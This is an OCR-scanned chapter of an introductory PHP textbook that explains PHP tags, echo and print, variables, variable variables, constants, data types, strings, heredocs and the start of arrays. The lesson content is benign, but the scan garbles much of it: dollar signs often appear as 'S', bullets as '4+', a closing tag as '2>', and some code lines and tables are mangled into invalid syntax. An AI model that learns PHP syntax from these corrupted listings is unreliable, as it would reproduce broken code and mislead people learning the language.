Spend some time with Firebug to get to know its uses and how it can help
with your JavaScript programming. Once you get familiar with the tool, it will
become indispensable for you!
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Chapter 1: Understanding
PHP Basics

In This Chapter
v+~ Adding PHP sections to HTML files
v Writing PHP statements

v+ Using PHP variables and constants
v+~ Using arrays

+* Documenting your scripts

PHP is a scripting language designed specifically for use on the web. It
has features to aid you in programming the tasks needed to develop
dynamic web applications.

In this chapter, we describe the basics of writing PHP scripts — the rules
that apply to all PHP statements. Consider these rules similar to general
grammar and punctuation rules. In the remaining chapters in this minibook,
you find out about specific PHP statements and features and how to write
PHP scripts to perform specific tasks.

While this chapter is quite long, you've already been exposed to programming
through the previous minibook’s look at JavaScript. The chapter starts out
with the basics and progresses into more complex material. Even if you've
had some experience with PHP before, it’s a good idea to start the chapter
from the beginning.

How PHP Works

The PHP software works with the web server, which is the software that
delivers web pages to the world. When you type a URL into your web
browser’s address bar, you're sending a message to the web server at that
URL, asking it to send you an HTML file. The web server responds by sending
the requested file. Your browser reads the HTML file and displays the web
page. You also request a file from the web server when you click a link in a
web page. In addition, the web server processes a file when you click a web
page button that submits a form. This process is essentially the same when
PHP is installed. You request a file, the web server happens to be running
PHP, and it sends HTML back to the browser, thanks to the programming
in PHP.
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How the web server processes PHP files

When a browser is pointed to a regular HTML
file with an .html or .htm extension, the
web server sends the file, as is, to the browser.
The browser processes the file and displays
the web page described by the HTML tags in
the file. When a browser is pointed to a PHP
file (with a . php extension), the web server
looks for PHP sections in the file and processes
them or, more exactly, hands them to the PHP
processor, instead of just sending them as is
to the browser. The web server/PHP processor
processes the PHP file as follows:

1. The web server starts scanning the file in
HTML mode. It assumes the statements
are HTML and sends them to the browser
without any processing.

2. The web server continues in HTML mode
until it encounters a PHP opening tag
(<?php).

3. When it encounters a PHP opening tag, the
web server hands the processing over to
the PHP module. This is sometimes called
escaping from HTML. The web server
then assumes that all statements are PHP
statements and uses the PHP module to
execute the PHP statements. If there is
output from PHP, the server sends the
output to the browser.

4. The web server continues in PHP mode
until it encounters a PHP closing tag (2>).

5. When the web server encounters a PHP
closing tag, it returns to HTML mode.
It resumes scanning, and the cycle
continues from Step 1.

More specifically, when PHP is installed, the web server is configured to

expect certain file extensions to contain PHP language statements. Often the
extension is .php or .phtml, but any extension can be used. (In this book,
we assume that . php is the extension for PHP scripts.) When the web server
gets a request for a file with the designated extension, it sends the HTML
statements as is, but PHP statements are processed by the PHP software
before they're sent to the requester.

When PHP language statements are processed, only the output, or anything
printed to the screen,is sent by the web server to the web browser. The PHP
language statements, those that don’t produce any output to the screen,
aren’t included in the output sent to the browser, so the PHP code is not
normally seen by the user. For instance, in this simple PHP statement,
<?php is the PHP opening tag, and ?> is the closing tag.

<?php echo "<p>Hello World</p>"; ?>
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Here, echo is a PHP instruction that tells PHP to output the upcoming text.
The PHP software processes the PHP statement and outputs the following:

<p>Hello World</p>

That regular HTML statement is delivered to the user’s browser. The
browser interprets the statement as HTML code and displays a web page
with one paragraph — Hello World. The PHP statement isn’t delivered to
the browser, so the user never sees any PHP statements. PHP and the web
server must work closely together.

PHP isn’t integrated with all web servers but does work with many of the
popular web servers. PHP works well with the Apache web server. PHP also
works with Microsoft Internet Information Services (IIS) and others.

If you can select or influence the selection of the web server used in your
organization, select Apache. By itself, Apache is a good choice. It’s free, open
source, stable, and popular. It currently powers more than 60 percent of all
websites, according to the web server survey at www.netcraft.com. It runs
on Windows, Linux, Mac OS, and most flavors of Unix.

Examining the Structure of a PHP Script

3

PHP is an embedded scripting language when used in web pages. This means
that PHP code is embedded in HTML code. You use HTML tags to enclose
the PHP language that you embed in your HTML file — the same way that
you would use other HTML tags. You create and edit web pages containing
PHP the same way that you create and edit regular HTML pages.

The PHP language statements are enclosed in PHP tags with the following
form:

<?php ?>

Sometimes you can use a shorter version of the PHP tags. You can try using
<? and ?> without the php. If short tags are enabled, you can save a little
typing. However, if you use short tags, your scripts won'’t run if they’re
moved to another web host where PHP short tags are not activated.

PHP processes all statements between the two PHP tags. After the PHP section
is processed, it’s discarded. Or if the PHP statements produce output, the
PHP section is replaced by the output. The browser doesn’t see the PHP
section — the browser sees only its output, if there is any. For more on this
process, see the sidebar “How the web server processes PHP files.”
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As an example, start with an HTML script that displays Hello World! in
the browser window, shown in Listing 1-1. (It’s a tradition that the first script
you write in any language is the Hello World script. You might have written a
Hello World script when you first learned HTML.)

Listing 1-1:  The Hello World HTML Script

<!doctype html>

<html>

<head><title>Hello World Script</title></head>
<body>

<p>Hello World!</p>

</body>

</html>

If you open this HTML script in your browser, you see a web page that
displays

Hello World!

Listing 1-2 shows a PHP script that does the same thing — it displays Hello
World! in a browser window.

Listing 1-2:  The Hello World PHP Script

<!doctype html>
<html>
<head><title>Hello World Script</title></head>
<body>
<?php
echo "<p>Hello World!</p>\n";
?>
</body>
</html>

When you run this script, by looking at it in your browser, it displays the
same web page as the HTML script in Listing 1-1. But now you’re doing it
with PHP!

Don’t look at the file directly with your browser. That is, don’t choose Filer>
Open File from your browser menu to navigate to the file and click it. You
must open the file by typing its URL in the browser’s address bar. If you see
the PHP code displayed in the browser window instead of the output that
you expect, you might not have started the file with its URL.
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In this PHP script, the PHP section is

<?php
echo "<p>Hello World!</p>";
?>

The PHP tags enclose only one statement — an echo statement. The echo
statement is a PHP statement that you’ll use frequently. The output is simply
the text that’s included between the double quotes.

When the PHP section is processed, it’s replaced with the output. In this
case, the output is

<p>Hello World!</p>

If you replace the PHP section in Listing 1-2 with the preceding output, the
script now looks exactly like the HTML script in Listing 1-1. If you open
either script in your browser, you see the same web page. If you look at the
source code that the browser sees (in the browser, choose View=>Source),
you see the same source code listing for both scripts.

You can have as many PHP sections in a script as you need, with as many
HTML sections as you need, including zero PHP or HTML sections. For
instance, the following script has two PHP sections and two HTML sections:

<html>
<head><title>Hello World Script</title></head>
<body>
<?php
echo "<p>Hello World!</p>";
?>
<p>This is HTML only.</p>
<?php
echo "<p>Hello World again!</p>";
?>
<p> This is a second HTML section.</p>
</body>
</html>

Looking at PHP Syntax

The PHP section that you add to your HTML file consists of a series of PHP
statements. Each PHP statement is an instruction to PHP to do something.
For the purposes in this book, we divide PHP statements into simple or
complex statements.
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The PHP language syntax is similar to the syntax of C, so if you have
experience with C, you’'ll be comfortable with PHP. PHP is actually simpler
than C because it doesn’t include some of the more difficult concepts of C —
concepts not required to program websites.

Using simple statements

Simple statements are an instruction to PHP to do one simple action. The
echo statement shown in Listing 1-2 is a simple PHP statement that instructs
PHP to output the text between the double quotes. PHP simple statements
follow these rules:

4+ PHP statements end with a semicolon or the PHP ending tag. PHP
doesn’t notice white space or the end of lines. It continues reading a
statement until it encounters a semicolon or the PHP closing tag, no
matter how many lines the statement spans.

4+ PHP statements may be written in either upper- or lowercase. In an
echo statement, Echo, echo, ECHO, and eCHo are all the same to PHP.
But variable names are case sensitive, just like in JavaScript.

The following is a valid PHP statement that produces the same output as you
saw earlier:

<?php echo "<p>Hello World!</p>" ?>

The echo statement is on the same line as the PHP tags. PHP reads the
statement until it reaches the closing tag, which PHP sees as the end of the
statement. The next example also produces the same output:

<?php
echo "<p>Hello</p>"; echo "<p>World</p>";
?>

This example contains two PHP echo statements on one line, both ending in
a semicolon. If you wanted to, you could write the entire PHP section in one
long line, as long as you separated statements with semicolons. However, a

script written this way would be difficult for people to read.

Using complex statements

Sometimes groups of simple statements are combined into a block. A block
is enclosed by curly braces, { and }. A block of statements execute together.
A common use of a block is a conditional block, in which statements are
executed only when certain conditions are true. For instance, you might
want your script to do the following:
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if (the sky is blue)
{
put leash on dragon;
take dragon for a walk in the park;

}

These statements are enclosed in curly braces to ensure that they execute
as a block. If the sky is blue, both put leash on dragon and take
dragon for a walk in the park are executed. If the sky is not blue,
neither statement is executed (no leash; no walk), and you have an irritated
dragon on your hands.

PHP statements that use blocks, such as if statements (which we explain
in Chapter 2 in this minibook), are what we term complex statements. PHP
reads the entire complex statement, not stopping at the first semicolon that
it encounters. PHP knows to expect one or more blocks and looks for the
ending curly brace of the last block in complex statements. Notice that a
semicolon appears before the ending brace. This semicolon is required, but
no semicolon is required after the ending curly brace.

Writing PHP Code

PHP code must be read by humans, as well as by the PHP software. PHP
scripts are written by humans and must be modified, updated, and maintained
by humans. The script might need to be modified a year or two in the future
when the original programmer has moved on to retirement on a tropical
beach. The person who must modify the script needs to be able to read and
understand the script, which he or she has never seen before. Consequently,
the PHP code must be written in a style that’s easy for humans to comprehend
quickly.

In general, each PHP simple statement is written on a single line ending with
a semicolon.

When writing blocks of (complex) statements, coding style dictates that you
should indent the block statements to clearly show where the block begins
and ends. For instance, in the following example of a conditional statement,
the simple statements in the block are indented:

if (the sky is blue)
{
put leash on dragon;
take dragon for a walk in the park;

}
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PHP doesn’t need the indenting, but it helps humans read the code.

Two styles are used commonly for the placement of the opening curly brace,
as follows:

if (the sky is blue)
{
put leash on dragon;
take dragon for a walk in the park;

}

if (the sky is blue) {
put leash on dragon;
take dragon for a walk in the park;

}

Displaying Content in a Web Page

You display content on your web page with echo or print statements;

they both do the same thing. An echo or print statement produces output,
which is sent to the user’s browser. In fact, everywhere that you see echo in
this chapter, you could also write print. The browser handles the output as
HTML.

The general format of an echo statement is
echo outputitem, outputitem, outputitem, ...
where the following rules apply:
4+ An outputitemcan be a number, a string, or a variable (using variables

is discussed in the section “Using PHP Variables,” later in this chapter. A
string must be enclosed in quotes.

4+ List as many outputitems as you need, separated by commas.

Table 1-1 shows some echo statements and their output.

Table 1-1 echo Statements
echo Statement Output

echo "Hello"; Hello

echo 123; 123

echo "Hello", "World!"; HelloWorld!

echo Hello World!; Not valid; results in an error message
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echo Statement Output
echo "Hello World!"; Hello World!
echo'Hello wWorld!'; Hello World!

The echo and print statements output a line of text that’s sent to a
browser. The browser considers the text to be HTML and handles it that
way. Therefore, you need to make sure that your output is valid HTML code
that describes the web page that you want the user to see.

When you want to display a web page (or part of a web page) by using PHP,
you need to consider three parts involved in producing the web page:

4+ The PHP script: PHP statements that you write.

4+ The HTML source code: The source code for the web page that you see
when you choose Viewr=>Source in your browser. The source code is the
output from the echo or print statements.

4+ The web page: The web page that your users see. The web page results
from the HTML source code.

The echo or print statements send exactly what you echo to the browser —
no more, no less. If you don’t echo any HTML tags, none are sent.

PHP allows some special characters that format output, but they aren’t
HTML tags. The PHP special characters affect only the output from the
echo or print statement — not the display on the web page. For instance,
if you want to start a new line in the PHP output or the HTML source code,
you must include a special character (\n) that tells PHP to start a new line.
However, this special character just starts a new line in the output; it does
not send an actual HTML tag to start a new line on the resulting web page.
Table 1-2 shows examples of the three parts.

Table 1-2 Stages of Web Page Delivery

echo Statement HTML Source Code Web Page Display
echo "Hello Hello World! Hello World!
World!";

echo "Hello Hello World!Here Hello World!Here
World!"; I am! | am!

echo "Here I am!";

echo "Hello Hello World! Hello World! Here
World!\n"; Here I am | am!

echo "Here I am!";

(continued)
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Table 1-2 (continued)

echo Statement HTML Source Code Web Page Display
echo "Hello Hello World! Hello World!
World!"; <br /> Here | am!

echo "<br />"; Here I am!"

echo "Here I am!";

echo "Hello"; Hello World! Hello World!
echo " World! <br /> Here [ am!

<br />\n";
echo "Here I am!";

Here I am!"

Table 1-2 summarizes the differences between the stages in creating a web
page with PHP. To look at these differences more closely, consider the following
two print statements:

print "Line 1";
print "Line 2";

If you put these lines in a script, you might expect the web page to display
this:

Line 1
Line 2

However, this is not the output that you would get. The web page would
display this:

Line 1Line 2

If you look at the source code for the web page, you see exactly what is sent
to the browser, which is this:

Line 1Line 2

Notice that the line that is sent to the browser contains exactly the characters
that you printed — no more, no less. The character strings that you printed
didn’t contain any spaces, so no spaces appear between the lines. Also
notice that the two lines are printed on the same line. If you want a new line
to start, you have to send a signal indicating the start of a new line. To signal
that a new line starts here in PHP, print the special character \n. Change the
print statements to the following:

print "line 1\n";
print "line 2";
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Now you get what you want, right? Well, no. Now you see the following on
the web page:

line 1 line 2
If you look at the source code, you see this:

line 1
line 2

So, the \n did its job: It started a new line in the output. However, HTML
displays the output on the web page as one line. If you want HTML to display
two lines, you must use a tag, such as the <br /> tag. So, change the PHP
end-of-line special character to an HTML tag, as follows:

print "line 1<br />";
print "line 2";

Now you see what you want on the web page:

line 1
line 2

If you look at the source code for this output, you see this:
line 1l<br />line 2

Use \n liberally. Otherwise, your HTML source code will have some really
long lines. For instance, if you print a long form, the whole thing might be
one long line in the source code, even though it looks fine in the web page.
Use \n to break the HTML source code into reasonable lines. It’s much easier
to examine and troubleshoot the source code if it isn’t a mile-long line.

Using PHP Variables

Variables are containers used to hold information. You saw examples of
variables in the preceding minibook for JavaScript. PHP variables are
defined a little different but the concept is exactly the same. A variable has
a name, and information is stored in the variable. For instance, you might
name a variable $age and store the number 12 in it. Information stored in
a variable can be used later in the script. One of the most common uses for
variables is to hold the information that a user types into a form.

In this section, we give you the details on how to properly name and create
PHP variables and assign values to them. We also tell you how to use
dynamic variables and display values in different types of PHP statements.
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Naming a variable

When you’re naming a variable, keep the following rules in mind:
4 Identifier: All variable names have a dollar sign ($) in front of them. This
tells PHP that it is a variable name.

4 Beginning of name: Variable names must begin with a letter or an
underscore. They cannot begin with a number.

+

Acceptable length: Variable names can be any length.

4 Acceptable characters: Variable names can include letters, numbers,
and underscores only.

4+ Case sensitivity: Uppercase and lowercase letters are not the same. For
example, Sfirstname and $Firstname are not the same variable. If
you store information in $firstname, for example, you can’t access
that information by using the variable name $firstName.

When you name variables, use names that make it clear what information is
in the variable. Using variable names like $varl, $var2, $A, or $B doesn’t
contribute to the clarity of the script. Although PHP doesn’t care what you
name the variable and won’t get mixed up, people trying to follow the script
will have a hard time keeping track of which variable holds what information.
Variable names like $firstName, $age, and $orderTotal are much more
descriptive and helpful.

Creating and assigning values to variables

Variables can hold numbers or strings of characters. You store information
in variables with a single equal sign (=). For instance, the following four PHP
statements assign information to variables:

Sage = 12;

Sprice = 2.55;

Snumber = -2;

Sname = "Little Bo Peep";

Notice that the character string is enclosed in quotes, but the numbers are
not. We discuss more about using numbers and characters in the section
“Understanding Data Types,” later in this chapter.

Whenever you put information into a variable that didn’t exist before, you
create that variable. For instance, suppose you use the following PHP
statement:

$firstname = "George";

If this statement is the first time that you've mentioned the variable
$firstname, this statement creates the variable and sets it to "George". If
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you have a previous statement setting $firstname to "Mary", this
statement changes the value of $firstname to "George".

You can also remove information from a variable. You might do this in order
to clear out information or to initialize the variable. For example, the
following statement takes information out of the variable $age:

$age — nn H

The variable $age exists but doesn’t contain a value. It doesn’t mean that
$age is set to 0 (zero) because 0 is a value. It means that Sage doesn’t store
any information. It contains a string of length 0.

You can go even further and uncreate the variable by using this statement:

unset (Sage) ;

After this statement is executed, the variable $age no longer exists.

Using variable variables

PHP allows you to use dynamic variable names, called variable variables.
You can name a variable with the value stored in another variable.

That is, one variable contains the name of another variable. For example,
suppose you want to construct a variable named $city with the value Los
Angeles. You can use the following statement:

$Sname_of_the_variable = "city";

This statement creates a variable that contains the name that you want to
give to a variable. Then, you use the following statement:

$$name_of_the_variable - "Los Angeles";

Note the extra dollar sign ($) character at the beginning of the variable
name. This indicates a variable variable. This statement creates a new

variable with the name that is the value in $name_of_the_variable,
resulting in the following:

Scity = "Los Angeles";

The value of $name_of_the_variable does not change.

The following example shows how this feature works. In its present form, the
script statements may not seem that useful; you may see a better way to

program this task. The true value of variable variables becomes clear when
they are used with arrays and loops, as discussed in Chapter 2 of this minibook.
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Suppose you want to name a series of variables with the names of cities that
have values that are the populations of the cities. You can use this code:

SReno = 360000;
$Pasadena = 138000;

Scityname = "Reno";
echo "The size of S$cityname is ${Scityname}";
Scityname = "Pasadena';

echo "The size of Scityname is ${S$Scityname}";
The output from this code is

The size of Reno is 360000
The size of Pasadena is 138000

Notice that you need to use curly braces around the variable name in the
echo statement so that PHP knows where the variable name is. If you use
the statement without the curly braces, the output is as follows:

The size of Reno is SReno

Without the curly braces in $$cityname, PHP converts $cityname to its
value and puts the extra $ in front of it, as part of the preceding string.

Displaying variable values

You can display the value in a variable by using any of the following statements:

4 echo
4 print
4 print_r

4 var_dump

Using variables in echo and print statements
You can display the value in a variable on a web page with an echo or

print statement. For instance, if you set the $age variable to 12 and then
use the following PHP echo statement in a PHP section, the output is 12.
echo Sage;

If you include the following line in an HTML file:

<p>Your age is <?php echo S$age ?>.</p>

the output on the web page is

Your age is 12.
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Table 1-3 shows the use of variables in some print statements and their
output. For the purposes of the table, assume that $stringl is set to Hello
and $string? is set to Wworld!.

Table 1-3 print Statements

print Statement Output

print $stringl; Hello

print $stringl, $string2; HelloWorld!
print "S$stringl S$string2"; Hello World!
print "Hello ",S$string2; Hello World!
print "Hello"," ",S$string2; Hello World!
print 'S$stringl', "$string2"; SstringlWorld!

Single and double quotes have different effects on variables, as follows.

4+ Single quotes (* '): When you use single quotes, variable names are
echoed as is.

4+ Double quotes (" ™): When you use double quotes, variable names are
replaced by the variable values.

Sometimes you need to enclose variable names in curly braces ({ }) to
define the variable name. For instance, the following statements won’t
output bird as the $pet variable.

Spet = "bird";
echo "The S$petcage has arrived.";

In other words, the output won’t be The birdcage has arrived. Rather,
PHP will look for the variable $petcage and won’t be able to find it. You can
echo the correct output by using curly braces to separate the $pet variable:

Spet = "bird";
echo "The {$petl}cage has arrived.";

The preceding statement gives you

The birdcage has arrived.
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Knowing how long a variable holds its value

A variable keeps its information for the entire script, not just for a single PHP
section. If a variable is set to "yes" at the beginning of a file, it will still hold

"yves" at the end of the page. For instance, suppose your file has the following
statements:

<p>Hello World!</p>

<?php
Sage = 15;
Sname = "Harry";
?>
<p>Hello World again!</p>
<?php
echo S$name;
?>

The echo statement in the second PHP section will display Harry. The web
page resulting from these statements is

Hello World!
Hello World again!
Harry

Displaying variables with print_r statements

PHP provides a function named print_r for looking at the value in a
variable. You can write the following statements to display a variable value:

Sweekday = "Monday";
print_r (Sweekday) ;

The output from print_r is
Monday

Displaying variables with var_dump statements
PHP provides a function named var_dump that you can use to display a

variable value and its data type. (Data types are discussed in detail in the
section “Understanding Data Types,” later in this chapter.)
You can write the following statements to display a variable value:

Sweekday = "Monday";
var_dump (Sweekday) ;

The output of var_dump is

string(6) "Monday"
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The output shows that the value in Sweekday is Monday. The output also
shows that the value is a string data type that is six characters long.

You'll use var_dump frequently for troubleshooting PHP. Its use is essential
for that purpose.

Using PHP Constants

WBER
@&
&

PHP constants are similar to variables. Constants are given a name, and a
value is stored in them. However, constants are constant; that is, they can’t
be changed by the script. After you set the value for a constant, it stays the
same. If you used a constant for age and set it to 21, for example, the value
is always and forever 21.

Constants are used when a value is needed in several places in the script
and doesn’t change during the script. The value is set in a constant at the
start of the script. By using a constant throughout the script, instead of a
variable, you make sure that the value won’t get changed accidentally. By
giving it a name, you know what the information is instantly. And by setting a
constant once at the start of the script (instead of using the value throughout
the script), you can change the value of the constant in one place if needed
instead of hunting for the value in many places in the script to change it.

For instance, you might set one constant that’s the company name and
another constant that’s the company address and use them wherever
needed. Then, if the company moves, you can just change the value in the
company address constant at the start of the script instead of having to find
and change every place in your script that echoed the company name.

You set constants by using the define statement. The format is

define (" constantname", "constantvalue") ;

For instance, to set a constant with the company name, use the following
statement:

define ("COMPANY", "My Fine Company") ;

Use the constant in your script wherever you need your company name:
echo COMPANY ;

When you echo a constant, you can’t enclose it in quotes. If you do, you

echo the constant name, instead of the value. You can echo it without
anything, as shown in the preceding example, or enclosed in parentheses.
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You can use any name for a constant that you can use for a variable, as long
as you follow these conventions:
4+ No identifier: Constant names are not preceded by a dollar sign ($).

4+ Case: By convention, constants are given names that are all uppercase,
so you can easily spot constants, but PHP itself doesn’t care what you
name a constant. You don’t have to use uppercase; it’s just clearer.

4+ Characters: You can store either a string or a number in it. The following
statement is perfectly okay with PHP:

define ("AGE",29);

Understanding Data Types

Values stored in a variable or a constant are stored as a specific type of data.
PHP provides these eight data types:

4+ Integer: A whole number

Floating-point number (float): A numeric value with decimal digits
String: A series of characters

Boolean: A value that can be either true or false

NULL: A value that represents no value

Array: A group of values in one variable

R R R R

Object: A structure created with a class

4+ Resource: A reference that identifies a connection
Here are some things that you need to know about working with data types:

4+ PHP determines the data type automatically. When writing PHP scripts,
you don’t need to specify which data type you’re storing. The following
two statements store different data types:

123;
n123" ;

Svarl =

Svar2 =

4 The value for $varl is stored as an integer. The value for $var?2 is
stored as a string because it’s enclosed in quotes.

4+ PHP converts data types automatically when it needs to. For instance,
if you add two variables, one containing an integer and one containing a
float, PHP converts the integer to a float so that it can add the two.

4 You can determine the data type. Occasionally, you might want to store
a value as a data type different than the data type PHP automatically
stores. You can set the data type for a variable with a cast, as follows:

I|222I| ;
(int) S$var3;

Svar3
Svard
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4+ This statement sets $var4 equal to the value in $var3, changing the
value from a string to an integer. You can also cast using (float) or
(string).

4+ You can query the data type. You can find out which data type is stored
in a variable with var_dump () . For instance, you can display a variable
as follows:

var_dump ($Svard) ;

4+ The output from this statement is the following:
int (222)

Integer, float, string, Boolean, and NULL data types are discussed in the
following sections. Arrays are discussed in the section “Using Arrays,” later
in this chapter. Objects are discussed in Chapter 4 in this minibook. The
Resource data type is a specialty type that you likely won’t directly encounter
in day-to-day programming and therefore isn’t covered in this book.

Working with integers and floating-point numbers

Integers are whole numbers, such as 1, 10, and 333. Floating-point numbers,
also called real numbers, are numbers that contain a decimal value, such as
3.1 or .667. PHP stores the value as an integer or a float automatically.

Performing arithmetic operations on numeric data types

PHP enables you to do arithmetic operations on numbers. You indicate
arithmetic operations with two numbers and an arithmetic operator. For
instance, one operator is the plus (+) sign, so you can indicate an arithmetic
operation like this:

1+ 2

You can also perform arithmetic operations with variables that contain
numbers, as follows:

snil 1;
Sn2 2;
Ssum = $nl + $n2;

You can add numbers that aren’t the same data type, as follows:

Snl 1.5;
sn2 2;
$sum = $nl + $n2;

PHP converts $n2 to a float (2. 0) and adds the two values. $sum is then a
float.
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Using arithmetic operators

PHP provides five arithmetic operators. Table 1-4 shows the arithmetic
operators that you can use.

Table 1-4 Arithmetic Operators

Operator Description

+ Add two numbers.

- Subtract the second number from the first number.

* Multiply two numbers.

/ Divide the first number by the second number.

% Find the remainder when the first number is divided by the second
number. This is called modulus. For instance, in $a = 13 % 4,
Saissetto 1.

You can do several arithmetic operations at once. For instance, the following
statement performs three operations:

Sresult =1 + 2 * 4 + 1;

The order in which the arithmetic is performed is important. You can get
MBER different results depending on which operation is performed first.

X\

Q
PHP does multiplication and division first, followed by addition and
subtraction. If other considerations are equal, PHP goes from left to right.

Consequently, the preceding statement sets Sresult to 10, in the following

order:

Sresult =1 + 2 * 4 + 1 (First it does the multiplication.)
Sresult =1 + 8 + 1 (Next it does the leftmost addition.)
Sresult = 9 + 1 (Next it does the remaining addition.)
$result = 10

You can change the order in which the arithmetic is performed by using
parentheses. The arithmetic inside the parentheses is performed first. For
instance, you can write the preceding statement with parentheses like this:

Sresult = (1 + 2) * 4 + 1;

This statement sets $result to 13, in the following order:

Sresult = (1 + 2) * 4 + 1 (First it does the math in the parentheses.)
Sresult = 3 * 4 + 1 (Next it does the multiplication.)

Sresult = 12 + 1 (Next it does the addition.)

Sresult = 13
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On the better-safe-than-sorry principle, it’s best to use parentheses
whenever more than one answer is possible.

Formatting numbers as dollar amounts

Often, the numbers that you work with are dollar amounts, such as product
prices. You want your customers to see prices in the proper format on web
pages. In other words, dollar amounts should always have two decimal
places. However, PHP stores and displays numbers in the most efficient
format. If the number is 10.00, it’s displayed as 10. To put numbers into the
proper format for dollars, you can use sprintf. The following statement
formats a number into a dollar format:

Snewvariablename = sprintf ("$%$01.2f", Soldvariablename) ;

This statement reformats the number in $oldvariablename and stores it
in the new format in $newvariablename, which is a string data type. For
example, the following statements display money in the correct format:
Sprice = 25;

$f_price = sprintf("%01.2f",Sprice) ;

echo "S$f_price";

You see the following on the web page:

25.00

If you display the variable with var_dump ($f_price), the output is

string(5) "25.00"

If you want commas to separate thousands in your number, you can use
number_format. The following statement creates a dollar format with
commas:

Sprice = 25000;

$f_price = number_format (Sprice,?2);
echo "S$f_price";

You see the following on the web page:

25,000.00

The 2 in the number_ format statement sets the format to two decimal
places. You can use any number to get any number of decimal places. Also,
you can add a § in front of the dollar amount in the output like this:

echo "$" . S$f_price;
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Working with character strings

A character string is a series of characters. Characters are letters, numbers,
and punctuation. When a number is used as a character, it is just a stored
character, the same as a letter. It can’t be used in arithmetic. For instance,
a phone number is stored as a character string because it needs to be only
stored — not added or multiplied.

Assigning strings to variables

When you store a character string in a variable, you tell PHP where the
string begins and ends by using double quotes or single quotes. For
instance, the following two statements produce the same result:

Sstring
Sstring

"Hello World!";
'Hello World!"';

However, suppose that you wanted to store a string as follows:

Sstring = 'It is Sally's house';
echo $string;

These statements won’t work because when PHP sees the ' (single quote)
after sally, it thinks that this is the end of the string, displaying the
following:

It is Sally

You need to tell PHP to interpret the single quote (') as an apostrophe
instead of as the end of the string. You can do this by using a backslash (\)
in front of the single quote. The backslash tells PHP that the single quote
doesn’t have any special meaning; it’s just an apostrophe. This is called
escaping the character. Use the following statements to display the entire

string:
Sstring = 'It is Sally\'s house';
NBER echo S$string;
8\
&
&

Similarly, when you enclose a string in double quotes, you must also use a
backslash in front of any double quotes in the string.

Using single and double quotes with strings
Single-quoted and double-quoted strings are handled differently, as follows:

4+ Single-quoted strings are stored literally — with the exception of \ ',
which is stored as an apostrophe.

4+ In double-quoted strings, variables and some special characters are
evaluated before the string is stored.
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Here are the most important differences in the use of double or single
quotes in code:

4+ Handling variables: If you enclose a variable in double quotes, PHP uses
the value of the variable. However, if you enclose a variable in single
quotes, PHP uses the literal variable name. For example, if you use the
following statements:

Smonth = 12;
Sresultl = "$Smonth";
Sresult2 = 'Smonth';
echo S$resultl;

echo "<br />";

echo Sresult2;

the output is

12
Smonth

Refer to Table 1-3, earlier in this chapter, for more examples.

4 Starting a new line: The special characters \n tell PHP to start a new
line. When you use double quotes, PHP starts a new line at \n; with
single quotes, \n is a literal string. For instance, when using the
following statements:

Sstringl = "String in \ndouble quotes";
Sstring2 = 'String in \nsingle quotes';

the stringl output is

String in
double quotes

and the string2 output is
String in \nsingle quotes

4+ Inserting a tab: The special characters \t tell PHP to insert a tab. When
you use double quotes, PHP inserts a tab at \ t, but with single quotes,

\t is a literal string. For instance, when using the following statements: Book IV
Chapter 1
Sstringl = "String in \tdouble quotes";

Sstring2 = 'String in \tsingle quotes'; c
=
. . =5
the stringl output is 5

w
String in double quotes o §
o=
and the string2 output is “ 8
String in \tsingle quotes %

The quotes that enclose the entire string determine the treatment of
variables and special characters, even if other sets of quotes are inside the
string. For example, look at the following statements:
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Snumber = 10;

Sstringl = "There are 'S$Snumber' people in line.";
Sstring2 = 'There are "S$number" people waiting.';
echo $stringl, "<br />\n";

echo $string2;

The output is as follows:

There are '10' people in line.
There are "Snumber" people waiting.

Joining strings
You can join strings, a process called concatenation, by using a dot (.). For
instance, you can join strings with the following statements:

$stringl = 'Hello';

Sstring2 = 'World!"';

Sstringall = S$stringl.S$string2;
echo $stringall;

The echo statement’s output is

HelloWorld!

Notice that no space appears between Hello and World. That’s because no
spaces are included in the two strings that are joined. You can add a space
between the words by using the following concatenation statement rather
than the earlier statement:

$stringall = $stringl." ".S$string2;

You can use . = to add characters to an existing string. For example, you can
use the following statements in place of the preceding statements:

$stringall = "Hello";
$Sstringall .= " World!";
echo $stringall;

The echo statement output is this:

Hello World!

You can also take strings apart. You can separate them at a given character
or look for a substring in a string. You use functions to perform these and

other operations on a string. We explain functions in Chapter 2 in this
minibook.
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Storing really long strings

PHP provides a feature called a heredoc that is useful for assigning values
that consist of really long strings that span several lines. A heredoc enables
you to tell PHP where to start and end reading a string. A heredoc statement
has the following format:

$varname = <<<ENDSTRING
text
ENDSTRING;

ENDSTRING can include any string you want to use, as you'll see later.

You enclose the text you want stored in the variable S$varname by typing
ENDSTRING at the beginning and again at the end. When PHP processes the
heredoc, it reads the first ENDSTRING and knows to start reading text into
$varname. It continues reading text into $varname until it encounters the
same ENDSTRING again. At that point, it ends the string. The string created
by a heredoc statement evaluates variables and special characters in the
same manner as a double-quoted string.

The following statements create a string with the heredoc method:

Sdistance = 10;
Sherevariable = <<<ENDOFTEXT
The distance between

Los Angeles and Pasadena

Is Sdistance miles.
ENDOFTEXT;

echo Sherevariable;

The output of the echo statement is as follows:
The distance between Los Angeles and Pasadena is 10 miles.

But be careful. PHP is picky about its ENDSTRINGs. When it first appears, the
ENDSTRING (ENDOFTEXT in this example) must occur at the end of the first
line, with nothing following it, not even a space. And the ENDSTRING on the
last line must occur at the start of the line, with nothing before it, not even

a space and nothing following it other than the semicolon. If these rules are
broken, PHP won’t recognize the ending string and will continue looking for
it throughout the rest of the script. It will eventually display a parse error
showing a line number that is the last line in the script.

Working with the Boolean data type

A Boolean data type takes on only the values of true or false. You can
assign a Boolean value to a variable as follows:

Svarl = true;
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PHP sets the variable to a Boolean data type. Boolean values are used when
comparing values and expressions for conditional statements, such as if
statements. Comparing values is discussed in detail in Chapter 2 in this
minibook.

The following values are evaluated as false by PHP:

4+ The word false

The integer 0

The floating-point number 0.0
An empty string

A string with the value 0

An empty array

An empty object

AR R I R

The value NULL

If a variable contains a value that is not evaluated as false, it is assigned
the value true.

Working with the NULL data type

The only value that is a NULL data type is NULL. You can assign the value to
a variable as follows:

Svarl = NULL;

A variable with a NULL value contains no value.

Using Arrays

Arrays are complex variables. An array stores a group of values under a
single variable name, and it’s useful for storing related values. For instance,
you can store information about a flower (such as variety, color, and cost) in
a single array named $flowerinfo. Information in an array can be handled,
accessed, and modified easily. For instance, PHP has several methods for
sorting an array. The following sections give you the lowdown on arrays.

Creating arrays

The simplest way to create an array is to assign a value to a variable with
square brackets ([ 1) at the end of its name. For instance, assuming that
you haven’t referenced $cities at any earlier point in the script, the
following statement creates an array called $Scities:

Scities([1l] = "Phoenix";
